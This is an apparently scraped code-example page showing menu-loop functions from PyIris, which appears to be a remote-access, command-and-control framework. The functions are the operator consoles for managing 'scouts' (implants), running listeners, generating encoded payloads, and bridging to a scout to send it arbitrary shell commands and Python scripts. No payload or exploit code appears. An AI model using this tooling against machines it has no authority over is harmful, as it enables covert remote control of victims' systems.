Ejemplo n.º 1
0
def main(pyiris):
    readline.parse_and_bind("tab: complete")
    readline.set_completer(scout_completer)
    while True:
        try:
            prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m' +
                           '\x1b[1m\x1b[31mScouts\x1b[0m' +
                           '\x1b[1m\x1b[37m) > \x1b[0m').strip()
            command = prompt.split(' ', 1)[0].lower()
            if command == "back":
                pyiris.log.inf('Returning...')
                return
            elif command == "bridge":
                pyiris.scout.bridge_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
                output = direct_interface.main(pyiris)
                if output == "home":
                    pyiris.log.inf('Returning...')
                    return
                readline.parse_and_bind("tab: complete")
                readline.set_completer(scout_completer)
            elif command == 'clear':
                pyiris.global_functions.clear()
            elif command == 'disconnect':
                pyiris.scout.disconnect_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command in ('?', 'help'):
                pyiris.global_functions.help('scout', prompt)
            elif command == 'kill':
                pyiris.scout.kill_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command in ('!', 'local'):
                pyiris.global_functions.local(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == 'rename':
                pyiris.scout.rename_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == 'sleep':
                pyiris.scout.sleep_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == 'ping':
                pyiris.scout.ping_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "python":
                pyiris.global_functions.python()
            elif command == "quit":
                pyiris.global_functions.quit()
            elif command == 'show':
                pyiris.scout.show(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == 'more':
                pyiris.scout.more_scout(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif not command:
                pass
            else:
                pyiris.log.err('Invalid command, run "help" for help menu')
        except KeyboardInterrupt:
            pyiris.global_functions.quit()
def main(pyiris):
    readline.parse_and_bind('tab: self-insert')
    try:
        scout_id = pyiris.config.bridged_to
        scout_prompt = pyiris.config.scout_database[scout_id][
            "host"] + ':' + pyiris.config.scout_database[scout_id]["port"]
        pyiris.log.pos('Bridged to : ' + scout_id)
    except (IndexError, KeyError):
        pyiris.log.err('Please enter a valid scout ID')
        pyiris.config.bridged_to = None
        return
    while True:
        try:
            prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' +
                           'Scout\x1b[0m' +
                           '\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' +
                           scout_prompt +
                           '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip()
            command = prompt.split(' ', 1)[0].lower()
            if command == 'back':
                pyiris.log.inf('Returning to scout interface...')
                pyiris.config.bridged_to = None
            elif command == 'clear':
                pyiris.global_functions.clear()
            elif command in ('!', 'local'):
                pyiris.global_functions.local(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "main":
                pyiris.config.bridged_to = None
                return "home"
                pass
            elif command == "python":
                pyiris.global_functions.python()
            elif command == "quit":
                pyiris.global_functions.quit()
            elif command == 'exec_py_script':
                pyiris.direct.send("exec_py " +
                                   python_execute_editor.main(pyiris))
            elif not command:
                pass
            else:
                pyiris.direct.send(prompt)
        except KeyboardInterrupt:
            pyiris.global_functions.quit()
        except (socket.error, socket.timeout):
            try:
                pyiris.log.err('Scout is dead, removing from database...')
                currently_bridged = pyiris.config.bridged_to
                pyiris.config.bridged_to = None
                del (pyiris.config.scout_database[currently_bridged])
                pyiris.config.change = True
            except IndexError:
                pyiris.log.err('Scout does not exist in database!')
            return
        except IndexError:
            pyiris.config.err(
                'Please supply valid arguments for the command you are running'
            )
        if pyiris.config.bridged_to is None:
            return "scouts"
Ejemplo n.º 3
0
def main(pyiris):
    readline.parse_and_bind("tab: complete")
    readline.set_completer(listener_completer)
    while True:
        try:
            prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m' +
                           '\x1b[1m\x1b[34mListeners\x1b[0m' +
                           '\x1b[1m\x1b[37m) > \x1b[0m').strip()
            command = prompt.split(' ', 1)[0].lower()
            if command == "back":
                pyiris.log.inf('Returning...')
                return
            elif command == 'bind':
                pyiris.listener_interface.bind(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == 'clear':
                pyiris.global_functions.clear()
            elif command in ('?', 'help'):
                pyiris.global_functions.help('listener', prompt)
            elif command == "kill":
                pyiris.listener.kill_listener(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command in ('!', 'local'):
                pyiris.global_functions.local(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == 'more':
                pyiris.listener.listener_info(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "python":
                pyiris.global_functions.python()
            elif command == "quit":
                pyiris.global_functions.quit()
            elif command == "rename":
                pyiris.listener.rename_listener(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == 'reset':
                pyiris.listener.reset_listener_values(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == 'run':
                pyiris.listener.run_listener()
            elif command == "show":
                pyiris.listener.show(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "set":
                pyiris.listener.set_listener_values(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif not command:
                pass
            else:
                pyiris.log.err('Invalid command, run "help" for help menu')
        except KeyboardInterrupt:
            pyiris.global_functions.quit()
def main(pyiris):
    readline.parse_and_bind("tab: complete")
    readline.set_completer(home_completer)
    while True:
        try:
            prompt = input('\x1b[1m\x1b[37mPyIris (Home) > \x1b[0m').strip()
            command = prompt.split(' ', 1)[0].lower()
            if command == 'add':
                pyiris.home.add_to_list(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == 'clear':
                pyiris.global_functions.clear()
            elif command == 'generator':
                pyiris.log.inf('Switching...')
                generator_interface.main(pyiris)
                readline.parse_and_bind("tab: complete")
                readline.set_completer(home_completer)
            elif command in ('?', 'help'):
                pyiris.global_functions.help('home', prompt)
            elif command == 'listeners':
                pyiris.log.inf('Switching...')
                listener_interface.main(pyiris)
                readline.parse_and_bind("tab: complete")
                readline.set_completer(home_completer)
            elif command in ('!', 'local'):
                pyiris.global_functions.local(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "python":
                pyiris.global_functions.python()
            elif command == "quit":
                pyiris.global_functions.quit()
            elif command == "regen":
                continue_on = input(
                    pyiris.config.war +
                    'This will overwrite existing key, continue? [y|n] : ')
                if continue_on == 'y':
                    pyiris.home.regen_key(*prompt_arguement_gen.main(
                        prompt=prompt, count=1, replace_empty_with=None))
            elif command == "reset":
                pyiris.home.reset_list(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "rm":
                pyiris.home.remove_list(
                    *prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == 'scouts':
                pyiris.log.inf('Switching...')
                scout_interface.main(pyiris)
                readline.parse_and_bind("tab: complete")
                readline.set_completer(home_completer)
            elif command == 'show':
                pyiris.home.show(
                    *prompt_arguement_gen.main(prompt=prompt, count=1))
            elif not command:
                pass
            else:
                pyiris.log.err('Invalid command, run "help" for help menu')
        except KeyboardInterrupt:
            pyiris.global_functions.quit()
def main(pyiris):
    readline.parse_and_bind("tab: complete")
    readline.set_completer(generator_completer)
    while True:
        try:
            prompt = input(pyiris.config.generator_prompt).strip()
            command = prompt.split(' ', 1)[0].lower()
            if command == "back":
                pyiris.log.inf('Returning...')
                return
            elif command == 'clear':
                pyiris.global_functions.clear()
            elif command == "generate":
                generate.main(pyiris)
            elif command in ('?', 'help'):
                pyiris.global_functions.help('generator', prompt)
            elif command == "load_base":
                pyiris.generate.load_base(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "load_com":
                pyiris.generate.load_component(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "load_enc":
                pyiris.generate.load_encoder(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command in ('!', 'local'):
                pyiris.global_functions.local(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "more_base":
                pyiris.generate.base_info(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "more_com":
                pyiris.generate.component_info(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "more_enc":
                pyiris.generate.encoder_info(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "python":
                pyiris.global_functions.python()
            elif command == "quit":
                pyiris.global_functions.quit()
            elif command == "reset":
                pyiris.generate.reset_scout_values(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "set":
                pyiris.generate.set_scout_values(*prompt_arguement_gen.main(prompt=prompt, count=2))
            elif command == "show":
                pyiris.generate.show(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "unload_com":
                pyiris.generate.unload_component(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif command == "unload_enc":
                pyiris.generate.unload_encoder(*prompt_arguement_gen.main(prompt=prompt, count=1))
            elif not command:
                pass
            else:
                pyiris.log.err('Invalid command, run "help" for help menu')
        except KeyboardInterrupt:
            pyiris.global_functions.quit()